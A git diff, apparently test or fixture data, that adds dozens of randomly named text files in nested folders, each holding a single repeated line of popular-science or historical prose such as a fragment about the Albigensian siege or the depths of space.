index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_scfakiuxenhjkfiygz.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_swbltyzmfj.txt b/big_zip/big-zip-files/folder_wxadangttv/file_swbltyzmfj.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_swbltyzmfj.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_vqolkzzooy.txt b/big_zip/big-zip-files/folder_wxadangttv/file_vqolkzzooy.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_vqolkzzooy.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_wbwimgczsqnlxfnajkvw.txt b/big_zip/big-zip-files/folder_wxadangttv/file_wbwimgczsqnlxfnajkvw.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_wbwimgczsqnlxfnajkvw.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_wetzxucjfoalweaentxwy.txt b/big_zip/big-zip-files/folder_wxadangttv/file_wetzxucjfoalweaentxwy.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_wetzxucjfoalweaentxwy.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_wiordlqpfjyhebet.txt b/big_zip/big-zip-files/folder_wxadangttv/file_wiordlqpfjyhebet.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_wiordlqpfjyhebet.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_xjpfdehsmcxwgtu.txt b/big_zip/big-zip-files/folder_wxadangttv/file_xjpfdehsmcxwgtu.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_xjpfdehsmcxwgtu.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/file_zslujcpmqdjdsebgopq.txt b/big_zip/big-zip-files/folder_wxadangttv/file_zslujcpmqdjdsebgopq.txt
new file mode 100644
index 0000000..8074d5d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/file_zslujcpmqdjdsebgopq.txt
@@ -0,0 +1 @@
+how to distinguish the faithful from the infidel in the siege of a largely Albigensian city, Domingo de
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_abpjbavilyndmrsmrqmadx.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_abpjbavilyndmrsmrqmadx.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_abpjbavilyndmrsmrqmadx.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_akjetgwkiaudmy.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_akjetgwkiaudmy.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_akjetgwkiaudmy.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_beqzqiqu.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_beqzqiqu.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_beqzqiqu.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_brkyzmmyxogrgniaiqz.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_brkyzmmyxogrgniaiqz.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_brkyzmmyxogrgniaiqz.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_cgkvnozvyfxvw.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_cgkvnozvyfxvw.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_cgkvnozvyfxvw.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_cuyculvskmmpewxfajseflsw.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_cuyculvskmmpewxfajseflsw.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_cuyculvskmmpewxfajseflsw.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_fkengtbupgomfah.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_fkengtbupgomfah.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_fkengtbupgomfah.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_mprtoibrsokypy.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_mprtoibrsokypy.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_mprtoibrsokypy.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_qizexszfci.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_qizexszfci.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_qizexszfci.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_ufkggewcb.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_ufkggewcb.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_ufkggewcb.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_vntatisamfopkzcx.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_vntatisamfopkzcx.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_vntatisamfopkzcx.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_xmldmhmiexlrjhabmdtwernc.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_xmldmhmiexlrjhabmdtwernc.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_xmldmhmiexlrjhabmdtwernc.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_xmudylqcdm.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_xmudylqcdm.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_xmudylqcdm.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_ygxtftinbsi.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_ygxtftinbsi.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_ygxtftinbsi.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_zwfssbrwqtbkgnlgs.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_zwfssbrwqtbkgnlgs.txt
new file mode 100644
index 0000000..0a65969
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/file_zwfssbrwqtbkgnlgs.txt
@@ -0,0 +1 @@
+weave a dissolving pattern, always a meaningful pattern though never an abiding
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_acsxhuje.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_acsxhuje.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_acsxhuje.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_cbalmfsil.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_cbalmfsil.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_cbalmfsil.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_fryfesoogbsevktxfqhoedr.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_fryfesoogbsevktxfqhoedr.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_fryfesoogbsevktxfqhoedr.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_gwlsnjdtuh.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_gwlsnjdtuh.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_gwlsnjdtuh.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_ivvxffmk.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_ivvxffmk.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_ivvxffmk.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_kvbyoyumnollfun.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_kvbyoyumnollfun.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_kvbyoyumnollfun.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_pomavsfioybpyvujbt.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_pomavsfioybpyvujbt.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_pomavsfioybpyvujbt.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_qwglqbejviingtz.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_qwglqbejviingtz.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_qwglqbejviingtz.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_rvconemmnuyiykbrnjkwu.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_rvconemmnuyiykbrnjkwu.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_rvconemmnuyiykbrnjkwu.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_ssyilknzlorkb.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_ssyilknzlorkb.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_ssyilknzlorkb.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_tgfxevol.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_tgfxevol.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_tgfxevol.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_wmbpaysmoj.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_wmbpaysmoj.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_wmbpaysmoj.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_wqqsucerbndlfa.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_wqqsucerbndlfa.txt
new file mode 100644
index 0000000..edfb351
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/file_wqqsucerbndlfa.txt
@@ -0,0 +1 @@
+behavior essentially unknown among the reptiles. If it is really true that the R-complex and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/bviqdltqlhgshbsoudtyncj.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/bviqdltqlhgshbsoudtyncj.txt
new file mode 100644
index 0000000..f8962b1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/bviqdltqlhgshbsoudtyncj.txt
@@ -0,0 +1 @@
+* There may be many motivations to go to the stars. If our Sun or a nearby star were about to go
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/ddsscoyuyragsbrxzvvmhbte.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/ddsscoyuyragsbrxzvvmhbte.txt
new file mode 100644
index 0000000..4b37657
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/ddsscoyuyragsbrxzvvmhbte.txt
@@ -0,0 +1 @@
+factors, both internal and external. If even a little thing had gone differently 2,500 years
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/ediqiqnsvtixstdqrvyw.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/ediqiqnsvtixstdqrvyw.txt
new file mode 100644
index 0000000..f3b6ed9
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/ediqiqnsvtixstdqrvyw.txt
@@ -0,0 +1 @@
+triangles; some have more complex shapes. We scurry about, in and out of our flat
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_cefkuufutt.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_cefkuufutt.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_cefkuufutt.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_dohpfpbuigafyzoub.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_dohpfpbuigafyzoub.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_dohpfpbuigafyzoub.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_dytajodgrlkhvbxsmnje.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_dytajodgrlkhvbxsmnje.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_dytajodgrlkhvbxsmnje.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_fqllkdkieahzjpulw.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_fqllkdkieahzjpulw.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_fqllkdkieahzjpulw.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_fzxwulucaaw.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_fzxwulucaaw.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_fzxwulucaaw.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_latgheytvxkya.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_latgheytvxkya.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_latgheytvxkya.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_mbxrynzr.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_mbxrynzr.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_mbxrynzr.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_mrscaixovidxpemcb.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_mrscaixovidxpemcb.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_mrscaixovidxpemcb.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_nodokrfdclcxdo.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_nodokrfdclcxdo.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_nodokrfdclcxdo.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_npiznswprjsbhalropxdll.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_npiznswprjsbhalropxdll.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_npiznswprjsbhalropxdll.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_ofzhbdmqsvfqpacxtqsk.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_ofzhbdmqsvfqpacxtqsk.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_ofzhbdmqsvfqpacxtqsk.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_qugchjgngjfzz.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_qugchjgngjfzz.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_qugchjgngjfzz.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_spnrownr.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_spnrownr.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_spnrownr.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_sszpyucstphdin.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_sszpyucstphdin.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_sszpyucstphdin.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_swwjcyleemcml.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_swwjcyleemcml.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
+++ b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_swwjcyleemcml.txt
@@ -0,0 +1 @@
+strange is going on in the depths of space.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_uhlwwqdieeqpzczpyorzqi.txt b/big_zip/big-zip-files/folder_wxadangttv/folder_sxvscvuqvg/folder_ratgfgfcnn/folder_cxklzcvhst/file_uhlwwqdieeqpzczpyorzqi.txt
new file mode 100644
index 0000000..e521374
--- /dev/null
